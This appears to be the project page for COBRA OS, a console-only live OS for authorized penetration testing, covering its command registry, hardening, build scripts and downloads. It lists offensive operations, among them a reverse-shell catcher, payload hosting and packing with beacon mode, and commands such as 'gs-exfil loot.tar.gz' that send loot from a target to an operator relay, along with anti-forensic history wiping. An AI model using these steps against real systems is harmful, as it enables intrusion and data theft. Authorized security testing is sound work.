Console-only, on purpose
No X11, no Wayland, no DM, no GUI toolkits — the brief X11 experiment was tried and reverted. A TTY is all you get, and all you need. Smaller image, smaller attack surface, nothing to phish.
operator@cobra:~$ ./boot --live
A minimal, hardened red team live OS. Console-only by design —
no X server, no display manager, no GUI. tmux is the dashboard, links2 over Tor is the
browser, and every byte in the image earns its place.
COBRA OS is a live operating system scaffold for authorized penetration
testing: a Debian trixie minbase core, a tool feed from the Parrot OS
repositories, a rebranded operator shell forked from THC's hackshell, and a curated operator
command registry — all wrapped in a red-team cyberpunk console theme.
It is deliberately console-only. There is no X server, no Wayland, no display manager and no GUI packages anywhere in the image. tmux splits are the dashboard. Web access is a text browser summoned deliberately, over gated connections, optionally wrapped in Tor. The result is a small, auditable attack surface that boots from USB and leaves nothing behind.
One script — chroot-setup.sh — is the single source of truth for the toolset and the
hardening. It builds both the chroot rootfs and the live ISO, so the system you test is the system
you ship.
No X11, no Wayland, no DM, no GUI toolkits — the brief X11 experiment was tried and reverted. A TTY is all you get, and all you need. Smaller image, smaller attack surface, nothing to phish.
No history anywhere (bash, less, mysql, psql, sqlite, redis), XHOME in
/dev/shm that auto-destructs on exit, and a tmux that hides on a socket
tmux ls will never show.
nftables drops inbound and forwarded traffic by default; loopback and established sessions pass, ICMPv4/v6 stay alive. Inbound listeners punch deliberate, runtime-only holes.
Nothing touches the network by accident. Every internet-bound helper — downloads, exfil,
recon lookups, the browser — sits behind cobrashell's xint gate. Loopback stays open
for local listeners.
System tor daemon with SOCKS on 127.0.0.1:9050, torsocks for
torify links2, proxychains4 for everything else, and
proxy 9050 to export socks5h env vars for curl & co.
The hackshell fork was fully audited: upstream's recon calls to ip.thc.org are
ripped out — engagement targets never leak to third-party infrastructure. Point them at your own
relay with COBRA_RECON_HOST / GS_HOST.
Live-boot with noswap persistence on the cmdline: pair the USB with an encrypted
persistence partition and live-boot unlocks it at boot. RAM-only semantics stay the default.
chroot-setup.sh runs inside the debootstrap chroot and as the live-build
hook — one toolset, one hardening pass, two outputs: ./rootfs/ and
cobra-os-<date>.iso.
Cobra splash on the BIOS and UEFI boot menus, a red ASCII banner on the login prompt, a remapped
16-color VGA console palette, themed LS_COLORS, grep and man pages — all escape
sequences, zero packages.
Every interactive shell sources cobra-ops.sh — the retired Textual TUI's
command set, ported to bash. opshelp lists it in-session. Every function maps 1:1 to a
package in chroot-setup.sh and a row in the build plan.
| category | command | what it runs | purpose |
|---|---|---|---|
| recon | target <host> | — shell state — | set the active target (fallback for recon cmds) |
fscan <t> | nmap -T4 -F | fast scan, top 1000 ports | |
portscan <t> | nmap -p- -T4 | full TCP scan | |
svcscan <t> | nmap -sV -sC -T4 | service/version + default scripts | |
vulnscan <t> | nmap --script vuln | vuln scripts (slow, noisy) | |
udpscan <t> | nmap -sU --top-ports 100 | top 100 UDP ports (sudo) | |
dnsq / whois | dig / whois | DNS records & whois lookups | |
smbenum <t> | enum4linux-ng -A | SMB/Windows shares, users, policy | |
| web | webdir <url> | gobuster dir | directory brute-force (dirb common.txt) |
webvuln <url> | nikto -h | web server scan | |
sql <url> | sqlmap --batch | SQL injection, randomized agent | |
| creds | brute <h> <s> <u> | hydra + rockyou | service brute-force |
crack <hashfile> | john + rockyou | hash cracking | |
hashcrack <m> <f> | hashcat -m | GPU/hash-mode cracking | |
| intel | sploit <term> | searchsploit | offline exploit-db lookup (CSV on disk) |
privesc [flags] | vendored linpeas | privesc paths on THIS box — local, no network | |
| capture | sniff [iface] | tcpdump -nn -l | live capture |
pcap [iface] | tshark -l | live decode | |
listen <port> | nc -lvnp | reverse-shell catcher | |
serve [port] | python3 http.server | payload hosting | |
| payload | egg | mkegg.sh wizard | self-extracting payload packer |
upserv | php upload server | loot-drop receiver (webplus profile) | |
| dash | mon | btop | system monitor |
files | nnn | console file manager | |
web [url] | links2 | text browser — xint-gated, Tor via torify |
The registry rides on top of cobrashell (THC hackshell fork):
loot/lootmore for target situational awareness, scan,
xssh, bounce, ghostip, hide,
memexec, enc/dec, xtmux on a hidden socket,
paste-site exfil via transfer/tb, and the gs-* gsocket
toolset — every internet-bound one gated behind xint. The gsocket tools honor
GS_HOST/GS_PORT: point them at your own relay,
not someone else's.
cobrashell's gs-* toolset (gs-netcat, gs-sftp, gs-exfil) rendezvous
through the Global Socket Relay Network by default. COBRA OS is de-THC'd — nothing calls home to
THC infrastructure — and for full independence you point the tools at a relay you own: the
hackerschoice/gsocket project ships the
relay daemon.
# on a VPS you control (e.g. relay.cobra-os.com)
# docker — the published relay image:
docker run -d --restart unless-stopped \
-p 7350:7350 hackerschoice/gsocket-relay
# or the relay daemon from the gsocket repo:
gsocket -s # listens on TCP/7350
One TCP port; both ends connect outbound to the relay, so NAT and the default-deny firewall are never a problem. Streams are end-to-end encrypted (SRP) — the relay only ever sees ciphertext. Deploy notes & hardening: the gsocket repo.
# in the operator shell, before any gs-* work:
export GS_HOST=relay.cobra-os.com
export GS_PORT=7350
xint
# everything gsocket now rides YOUR relay:
gs-sftp-server # browse/pull files off a target
gs-exfil loot.tar.gz # stream loot home
# the egg wizard's gs-netcat beacon mode threads
# GS_HOST/GS_PORT into the payload too
Same pattern for recon: COBRA_RECON_HOST points cobrashell's
sub/ptr at your own recon service (upstream's
ip.thc.org calls are ripped out). All of it stays behind the
xint gate.
The core stays narrow. Extras ride in as space-separated
COBRA_PROFILES at build time — each one a case in chroot-setup.sh, never
part of the core list.
bettercap · hcxtools · hcxdumptool · reaver · bully · kismet
802.11 auditing beyond the aircrack-ng base — every UI a console citizen.
impacket · responder · netexec · bloodhound.py
Active Directory & Windows ops: coercion, relaying, enumeration, collection.
metasploit-framework
msfconsole is a TTY native. The local exploit-db archive (searchsploit →
sploit) is core since 2026-08-17 — this profile is just the framework.
mitmproxy · ffuf · seclists · wpscan · php-cli
Heavier web tooling. mitmproxy replaces Burp (Java GUIs are dead weight without X);
php-cli powers the upserv loot-drop server.
passwd -l) — sudo-only via the operator user, password change forced on first loginfs.protected_*, IPv4/IPv6 sanity, ip_forward=0/dev/null for bash/less/mysql/psql/sqlite/redis — plus cobrashell's RAM-only XHOMETwo host-side scripts do everything. debootstrap wants root, so run them on a Debian/Ubuntu host or VM.
# core toolset
sudo apt install debootstrap
sudo ./build-rootfs.sh
# with extras
sudo COBRA_PROFILES="wireless exploit" ./build-rootfs.sh
# resume on a warm rootfs
sudo SKIP_DEBOOTSTRAP=1 ./build-rootfs.sh
Produces ./rootfs/: minimal Debian base + Parrot repo, the curated core tool set,
locked root, the operator sudo user, default-deny nftables, sysctl/modprobe
hardening, MAC randomization, history-off defaults.
# core toolset ISO
sudo apt install live-build
sudo ./build-iso.sh
# with extras
sudo COBRA_PROFILES="wireless" ./build-iso.sh
# smoke test
qemu-system-x86_64 -m 2G -cdrom cobra-os-*.iso
Produces cobra-os-<date>.iso (+ .sha256): iso-hybrid for BIOS
and UEFI, live-boot with noswap persistence, LUKS persistence unlock via
cryptsetup, themed boot menus. toram stays a deliberate TAB-edit at the boot menu.
Hosted on Cloudflare R2 at dl.cobra-os.com — Pages caps files at
25 MiB and GitHub Releases at 2 GiB, so the 2.4 GiB ISO ships from the bucket.
The .sha256 is mirrored there and versioned here in downloads/.
New builds: website/release.sh + rclone (see
website/README.md).
# verify the image
sha256sum -c cobra-os-20260816.iso.sha256
# expected:
cobra-os-20260816.iso: OK
# write to USB (replace sdX — careful)
sudo dd if=cobra-os-20260816.iso of=/dev/sdX \
bs=4M status=progress oflag=sync
# or smoke-test in a VM first
qemu-system-x86_64 -m 2G -cdrom cobra-os-20260816.iso
changeme operator password is a
documented scaffold default. Review the tool list, PARROT_SUITE, and the nftables
input rules for your op.
Red-team cyberpunk with zero packages and zero X — the same ramp that themes the boot menu, the login banner, the console, and this page.
the actual boot splash — splash.png, flattened for vesamenu, backing both the isolinux (BIOS) and GRUB (UEFI) menus.